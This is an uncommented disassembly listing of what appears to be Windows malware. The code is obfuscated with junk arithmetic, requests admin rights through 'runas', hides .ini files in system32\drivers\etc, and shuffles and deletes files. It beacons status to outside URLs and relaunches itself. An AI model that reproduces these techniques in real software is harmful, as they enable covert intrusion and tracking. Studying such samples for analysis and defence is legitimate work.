mov dword [0x45eccc], ebx
push edx
lea ebx, [ecx + edi]
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [ebp - 0x1020], 1
mov word [ebp - 0x101c], 5
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
call fcn.00432020
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub ebx, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
call fcn.00432020
imul esi, esi, 0x392bae29
imul edi, edi, 0x2c2da253
mov ecx, dword [0x45ece0]
add ebx, eax
lea edx, [ebp - 0x1004]
push edx
lea eax, [ebp - 0x104c]
push eax
push 0
push 0
push 0x20
add esi, ecx
push 0
add esi, ebx
push 0
lea ecx, [edi + esi + 0x31b5823a]
mov dword [0x45ecd4], ecx
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403710
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xd
mov edi, edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd0]
add ebx, edx
imul ebx, ebx, 0x3c2325f6
push 0x14
push 0x76aab896
push edi
push esi
sub ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ecdc]
add ebx, eax
imul ecx, ecx, 0x31b5823a
mov eax, dword [0x45ece0]
imul eax, eax, 0x42a7b17d
add ebx, eax
sub ebx, ecx
push 0
mov dword [0x45ecdc], ebx
call fcn.0043263a
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecc8]
add eax, edx
imul eax, eax, 0x68b4d785
sub ebx, eax
push 0x10
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfb0]
push 0xf
push 0x3c2325f6
push ecx
push edi
add ebx, eax
call fcn.00432020
mov edx, dword [ebp - 0xfb0]
push 0x13
push 0x2c2da253
push edx
push edi
sub ebx, eax
call fcn.00432020
imul esi, esi, 0x2c2da253
sub ebx, eax
mov eax, dword [ebp - 0xfe0]
push eax
lea ecx, [ebp - 0x114]
push str.C:Program_Files_s
add ebx, esi
push ecx
mov dword [0x45ece4], ebx
call fcn.004320ca
add esp, 0xc
push 1
lea edx, [ebp - 0x114]
push edx
push 0
lea eax, [ebp - 0x214]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40479e
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
sub eax, ebx
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece0]
mov edx, dword [0x45ecc8]
imul ecx, ecx, 0xafbbe1e
push 0
imul edx, edx, 0x31b5823a
push 0
push 0
push 0
push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
push 0x45ecbc
push 0
add ebx, eax
mov eax, dword [ebp - 0xff0]
push 0
push 1
add ebx, ecx
add eax, 0x74
sub ebx, edx
push 0x68
push eax
mov dword [0x45ecc8], ebx
call fcn.00444792
add esp, 0x2c
push 0x2710
jmp 0x40388b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
sub eax, ebx
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece0]
mov edx, dword [0x45ecc8]
imul ecx, ecx, 0xafbbe1e
imul edx, edx, 0x31b5823a
add ebx, eax
lea eax, [ebp - 0xfa4]
add ebx, ecx
push eax
sub ebx, edx
push 0x101
mov dword [0x45ecc8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403922
push 0
call fcn.0043263a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x413c
lea ecx, [ebp - 0x314]
push 0x44eb00
push ecx
call fcn.004320ca
add esp, 0xc
lea edx, [ebp - 0x314]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x5615c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403a11
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add ecx, eax
imul ecx, ecx, 0x68b4d785
push 0x10
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
sub ebx, ecx
call fcn.00432020
mov edx, dword [ebp - 0xfb0]
push 0xf
push 0x3c2325f6
push edx
push edi
add ebx, eax
call fcn.00432020
push 0x13
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x2c2da253
push eax
push edi
call fcn.00432020
imul esi, esi, 0x2c2da253
sub ebx, eax
mov eax, dword [0x45ecb8]
add ebx, esi
cmp eax, 0xffffffff
mov dword [0x45ece4], ebx
je 0x403a0a
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0043263a
mov eax, dword [0x45ecd4]
cdq
mov esi, eax
mov eax, dword [0x45eccc]
push 8
mov edi, edx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
push 0xd
push 0x3dbf610d
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece4]
mov edx, dword [0x45ece8]
imul ecx, ecx, 0x31b5823a
add ebx, eax
imul edx, edx, 0x471ee414
mov eax, dword [0x45ece0]
imul eax, eax, 0x392bae29
sub ebx, ecx
mov ecx, dword [str._r_____r____]
sub ebx, edx
add ebx, eax
sub ebx, ecx
push 0
sub ebx, 0x1bcdabbc
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45eccc], ebx
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
jne 0x403ac1
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x403ac1
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x45ecdc]
push 0x14
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov esi, dword [0x45ecd8]
mov edi, eax
push 3
mov eax, esi
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd0]
push 0x10
cdq
push 0xe4325444
push edx
push eax
sub ebx, edi
call fcn.00432020
imul esi, esi, 0x76aab896
mov ecx, dword [0x45ecc8]
mov edx, dword [0x45ece8]
imul ecx, ecx, 0x3dbf610d
imul edx, edx, 0x471ee414
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x45ece4]
add ebx, esi
add ebx, edx
sub ebx, ecx
push 0
add ebx, 0x31b5823a
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45ecd0], ebx
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x40471c
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x40471c
mov esi, dword [0x45ece8]
mov eax, esi
cdq
mov ebx, eax
mov eax, dword [0x45ecd4]
push 0x13
mov dword [ebp - 0xfc0], edx
cdq
push 0x2c2da253
push edx
push eax
mov dword [ebp - 0xfc4], ebx
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], edx
call fcn.00432020
mov edi, dword [0x45ece0]
mov dword [ebp - 0xfd8], eax
push 8
mov eax, edi
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfc0]
push 0x14
push 0x471ee414
push ecx
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfc0]
push 0x13
push 0x392bae29
add ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul edi, edi, 0x68b4d785
mov ecx, dword [ebp - 0xfa8]
sub ecx, eax
mov eax, dword [0x45ecc8]
mov edx, esi
imul eax, eax, 0x2c2da253
imul edx, edx, 0x31b5823a
sub ecx, edi
mov edi, dword [0x45eccc]
add ecx, edx
add ecx, eax
sub ecx, dword [ebp - 0xfd8]
push 0x14
mov eax, edi
cdq
push 0x76aab896
push edx
push eax
mov dword [0x45ecd8], ecx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
mov ecx, dword [ebp - 0xfc8]
mov edx, dword [ebp - 0xfcc]
push 0x14
push 0x76aab896
push ecx
push edx
mov ebx, eax
call fcn.00432020
mov ecx, dword [ebp - 0xfbc]
push 0xf
sub ebx, eax
mov eax, dword [ebp - 0xfb8]
push 0x3c2325f6
push eax
push ecx
call fcn.00432020
sub ebx, eax
mov edx, dword [0x45ecdc]
imul esi, esi, 0x471ee414
imul edi, edi, 0x392bae29
imul edx, edx, 0x3dbf610d
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
push 0x200
add ebx, edx
mov edx, dword [ebp - 0xfd8]
lea eax, [ebp - 0xc14]
push eax
add esi, edx
push 0x44ee59
add esi, ebx
push str.ConfigL0
add edi, esi
push str.GameType1
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44ee59
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4040e2
mov eax, dword [0x45ecd4]
cdq
mov esi, eax
mov eax, dword [0x45eccc]
push 8
mov edi, edx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
push 0xd
push 0x3dbf610d
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece8]
mov edx, dword [0x45ece0]
imul ecx, ecx, 0x471ee414
add ebx, eax
imul edx, edx, 0x392bae29
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
sub ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
add ebx, edx
lea eax, [ebp - 0xc14]
push eax
sub ebx, ecx
lea ecx, [ebp - 0x14fc]
push 0x12c
sub ebx, 0x1bcdabbc
push ecx
mov dword [0x45eccc], ebx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4040e2
mov esi, dword [0x45ecdc]
mov ecx, dword [0x45ecd8]
mov edi, dword [str._r_____r____]
push 8
mov eax, esi
cdq
push 0x974b287b
push edx
lea ebx, [ecx + edi]
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
call fcn.00432020
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub ebx, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
call fcn.00432020
imul esi, esi, 0x392bae29
imul edi, edi, 0x2c2da253
add esi, dword [0x45ece0]
add ebx, eax
add esi, ebx
lea ecx, [edi + esi + 0x31b5823a]
mov dword [0x45ecd4], ecx
mov ecx, dword [ebp - 0x14fc]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403e21
sub eax, esi
cmp byte [ecx + eax - 1], 0x5c
mov edx, dword [ebp - 0x14f0]
push edx
lea eax, [ebp - 0x614]
push ecx
jne 0x403e46
push str._s_s
jmp 0x403e4b
push 0x44ed04
push eax
call fcn.004320ca
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
add esp, 0x10
mov esi, eax
push 0xd
mov edi, edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecd0]
add ebx, ecx
imul ebx, ebx, 0x3c2325f6
push 0x14
push 0x76aab896
push edi
push esi
sub ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ece0]
add ebx, eax
imul edx, edx, 0x42a7b17d
mov eax, dword [0x45ecdc]
imul eax, eax, 0x31b5823a
lea ecx, [ebp - 0x614]
push ecx
add ebx, edx
lea edx, [ebp - 0x414]
sub ebx, eax
push str._s.bak
push edx
mov dword [0x45ecdc], ebx
call fcn.004320ca
add esp, 0xc
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov ecx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add ecx, eax
imul ecx, ecx, 0x68b4d785
push 0x10
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
sub ebx, ecx
call fcn.00432020
add ebx, eax
push 0xf
mov edx, dword [ebp - 0xfb0]
push 0x3c2325f6
push edx
push edi
call fcn.00432020
push 0x13
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x2c2da253
push eax
push edi
call fcn.00432020
imul esi, esi, 0x2c2da253
sub ebx, eax
lea ecx, [ebp - 0x614]
push 0
add ebx, esi
push ecx
mov dword [0x45ece4], ebx
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x404031
mov eax, dword [0x45ecd0]
cdq
mov esi, eax
mov eax, dword [0x45ece4]
push 0xd
mov edi, edx
cdq
push 0x3dbf610d
push edx
push eax
call fcn.00432020
push 3
push 0xce4a7dc6
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x392bae29
push edi
sub eax, ebx
push esi
mov ebx, eax
call fcn.00432020
push 8
push 0x42a7b17d
push edi
push esi
add ebx, eax
call fcn.00432020
mov edx, dword [0x45ece0]
add ebx, eax
imul edx, edx, 0xafbbe1e
mov eax, dword [0x45ecc8]
imul eax, eax, 0x31b5823a
add ebx, edx
lea ecx, [ebp - 0x414]
sub ebx, eax
push ecx
mov dword [0x45ecc8], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.0043263a
mov eax, dword [0x45ecdc]
push 0x14
cdq
push 0x76aab896
push edx
push eax
call fcn.00432020
mov esi, dword [0x45ecd8]
mov edi, eax
push 3
mov eax, esi
cdq
push 0xce4a7dc6
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd0]
push 0x10
cdq
push 0xe4325444
push edx
push eax
sub ebx, edi
call fcn.00432020
imul esi, esi, 0x76aab896
mov edx, dword [0x45ecc8]
mov edi, dword [0x45ece4]
imul edx, edx, 0x3dbf610d
sub ebx, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x471ee414
add ebx, edx
add ebx, esi
add ebx, eax
lea ecx, [ebp - 0x614]
sub ebx, edi
push ecx
lea edx, [ebp - 0x414]
add ebx, 0x31b5823a
push edx
mov dword [0x45ecd0], ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
nop
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x4040d0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x45ece8]
mov ebx, dword [0x45ece0]
mov eax, edi
cdq
mov dword [ebp - 0xfc4], eax
push 8
mov dword [ebp - 0xfc0], edx
mov eax, ebx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov esi, eax
mov eax, dword [0x45ecd4]
push 0x13
cdq
push 0x2c2da253
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfc4]
push 0x14
sub esi, eax
mov eax, dword [ebp - 0xfc0]
push 0x471ee414
push eax
push ecx
call fcn.00432020
mov edx, dword [ebp - 0xfc0]
push 0x13
push 0x392bae29
add esi, eax
mov eax, dword [ebp - 0xfc4]
push edx
push eax
call fcn.00432020
imul ebx, ebx, 0x68b4d785
imul edi, edi, 0x31b5823a
sub esi, eax
sub esi, ebx
mov ebx, dword [0x45ecc8]
mov ecx, ebx
imul ecx, ecx, 0x2c2da253
add esi, edi
add esi, ecx
lea eax, [ebp - 0x814]
mov dword [0x45ecd8], esi
lea edi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404190
sub eax, edi
mov dword [ebp - 0xfa8], eax
jne 0x4041a8
push 0
call fcn.0043263a
mov eax, esi
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xffffffffffffffeb
mov dword [ebp - 0xfb0], edx
cdq
push 0x8955476a
push edx
push eax
call fcn.00432020
mov edx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
add ebx, edx
imul ebx, ebx, 0x68b4d785
sub eax, ebx
mov dword [ebp - 0xfa8], eax
push 0x10
mov eax, esi
cdq
push 0xe4325444
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
push 0xf
add ecx, eax
mov eax, dword [ebp - 0xfb0]
push 0x3c2325f6
push eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
mov edx, dword [ebp - 0xfb0]
mov ecx, dword [ebp - 0xfa8]
push 0x13
push 0x2c2da253
push edx
sub ecx, eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul esi, esi, 0x2c2da253
mov ecx, dword [ebp - 0xfa8]
sub ecx, eax
lea eax, [ebp - 0x814]
add ecx, esi
push 0
push eax
mov dword [0x45ece4], ecx
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
jne 0x40441b
mov eax, dword [0x45ecc8]
cdq
mov edi, eax
mov eax, dword [str._r_____r____]
push 8
mov ebx, edx
cdq
push 0x42a7b17d
push edx
push eax
mov dword [ebp - 0xff8], ebx
call fcn.00432020
mov esi, dword [0x45ecd0]
mov ecx, dword [0x45ecd8]
add ecx, esi
imul ecx, ecx, 0x392bae29
push 8
push 0x974b287b
push ebx
sub ecx, eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
push 0x13
push 0x2c2da253
mov edx, ebx
push edx
add ecx, eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul esi, esi, 0x2c2da253
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
mov eax, dword [0x45ece4]
push 0
imul eax, eax, 0x31b5823a
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
push 0x45ecbc
add ecx, eax
push 0
sub ecx, esi
push 0
mov dword [0x45ece8], ecx
mov ecx, dword [ebp - 0xff0]
push 1
add ecx, 0x74
push 0x68
push ecx
call fcn.00444792
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 0x14
mov ebx, edx
mov eax, esi
cdq
push 0x76aab896
push edx
push eax
mov dword [ebp - 0xfc8], ebx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.00432020
push 0x14
push 0x76aab896
push ebx
push edi
mov dword [ebp - 0xfa8], eax
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
sub ecx, eax
push 0xf
mov edx, dword [ebp - 0xfb8]
mov eax, dword [ebp - 0xfbc]
push 0x3c2325f6
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
push 0x13
push 0x2c2da253
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul esi, esi, 0x392bae29
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [0x45ece8]
add ecx, eax
imul edx, edx, 0x471ee414
mov eax, dword [0x45ecdc]
imul eax, eax, 0x3dbf610d
add ecx, eax
add ecx, edx
add ecx, esi
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [str._r_____r____], ecx
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
je 0x404414
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.0043246d
add esp, 8
cmp eax, 0xffffffff
jne 0x40441b
push 0
call fcn.0043263a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404427
mov eax, dword [0x45ecd4]
cdq
mov esi, eax
mov eax, dword [0x45eccc]
push 8
mov edi, edx
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
push 0xd
push 0x3dbf610d
push edi
push esi
mov ebx, eax
call fcn.00432020
push 0x13
push 0x2c2da253
push edi
push esi
add ebx, eax
call fcn.00432020
mov ecx, dword [0x45ece8]
mov edx, dword [0x45ece0]
imul ecx, ecx, 0x471ee414
mov esi, dword [str._r_____r____]
imul edx, edx, 0x392bae29
add ebx, eax
mov eax, dword [0x45ece4]
imul eax, eax, 0x31b5823a
sub ebx, eax
sub ebx, ecx
add ebx, edx
sub ebx, esi
sub ebx, 0x1bcdabbc
push 0x132b600
mov dword [0x45eccc], ebx
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45ece8]
mov edi, dword [0x45ece0]
mov eax, esi
cdq
mov dword [ebp - 0xfc4], eax
push 8
mov dword [ebp - 0xfc0], edx
mov eax, edi
cdq
push 0x974b287b
push edx
push eax
call fcn.00432020
mov ebx, eax
mov eax, dword [0x45ecd4]
push 0x13
cdq
push 0x2c2da253
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfc4]
push 0x14
sub ebx, eax
mov eax, dword [ebp - 0xfc0]
push 0x471ee414
push eax
push ecx
call fcn.00432020
mov edx, dword [ebp - 0xfc0]
push 0x13
push 0x392bae29
add ebx, eax
mov eax, dword [ebp - 0xfc4]
push edx
push eax
call fcn.00432020
sub ebx, eax
imul edi, edi, 0x68b4d785
mov ecx, dword [0x45ecc8]
imul esi, esi, 0x31b5823a
mov edx, dword [ebp - 0xff0]
imul ecx, ecx, 0x2c2da253
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45ecbc
push 0
push 0
sub ebx, edi
push 1
add ebx, esi
add edx, 0x74
add ebx, ecx
push 0x68
push edx
mov dword [0x45ecd8], ebx
call fcn.00444792
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [str._r_____r____]
mov ecx, dword [0x45ecd8]
mov esi, dword [0x45ecdc]
add ecx, ebx
imul ecx, ecx, 0x3dbf610d
push 8
mov eax, esi
cdq
push 0x974b287b
push edx
push eax
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub ecx, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.00432020
imul ebx, ebx, 0x2c2da253
mov ecx, dword [ebp - 0xfa8]
mov edi, dword [0x45ece0]
mov edx, esi
imul edx, edx, 0x392bae29
add ecx, eax
add edx, edi
add edx, ecx
lea eax, [ebx + edx + 0x31b5823a]
mov dword [0x45ecd4], eax
mov dword [ebp - 0xff0], 0
jmp 0x404640
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov dword [ebp - 0xfec], eax
push 0xd
mov dword [ebp - 0xfe8], edx
mov eax, ebx
cdq
push 0x3dbf610d
push edx
push eax
mov byte [ebp - 4], 2
call fcn.00432020
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0xfe8]
add ebx, ecx
imul ebx, ebx, 0x3c2325f6
push 0x14
push 0x76aab896
sub ebx, eax
mov eax, dword [ebp - 0xfec]
push edx
push eax
call fcn.00432020
mov ecx, dword [ebp - 0xfe8]
mov edx, dword [ebp - 0xfec]
push 0x13
push 0x2c2da253
push ecx
push edx
add ebx, eax
call fcn.00432020
imul edi, edi, 0x42a7b17d
imul esi, esi, 0x31b5823a
add ebx, eax
add ebx, edi
sub ebx, esi
push 0x2710
mov dword [0x45ecdc], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xff0]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x4046f1
push edx
call fcn.0040efc0
add esp, 4
mov eax, dword [ebp - 0xff0]
mov esi, dword [0x45ecdc]
mov edi, dword [0x45ece0]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp - 0xff0], eax
jmp 0x404640
mov esi, dword [0x45ecdc]
mov ecx, dword [0x45ecd8]
mov edi, dword [str._r_____r____]
push 8
mov eax, esi
cdq
push 0x974b287b
push edx
lea ebx, [ecx + edi]
push eax
imul ebx, ebx, 0x3dbf610d
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0xfd0], edx
call fcn.00432020
mov edx, dword [ebp - 0xfd0]
push 0x13
push 0x2c2da253
sub ebx, eax
mov eax, dword [ebp - 0xfd4]
push edx
push eax
call fcn.00432020
imul esi, esi, 0x392bae29
imul edi, edi, 0x2c2da253
add ebx, eax
add esi, dword [0x45ece0]
add esi, ebx
lea ecx, [edi + esi + 0x31b5823a]
push 0x493e0
mov dword [0x45ecd4], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.0043263a
push 0x200
lea edx, [ebp - 0xa14]
xor eax, eax
push edx
mov ecx, 0x11
lea edi, [ebp - 0x104c]
rep stosd dword es:[edi], eax
push eax
mov dword [ebp - 0x104c], 0x44
mov dword [ebp - 0x1020], 1
mov word [ebp - 0x101c], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x104c]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea edx, [ebp - 0xa14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x40479e
ret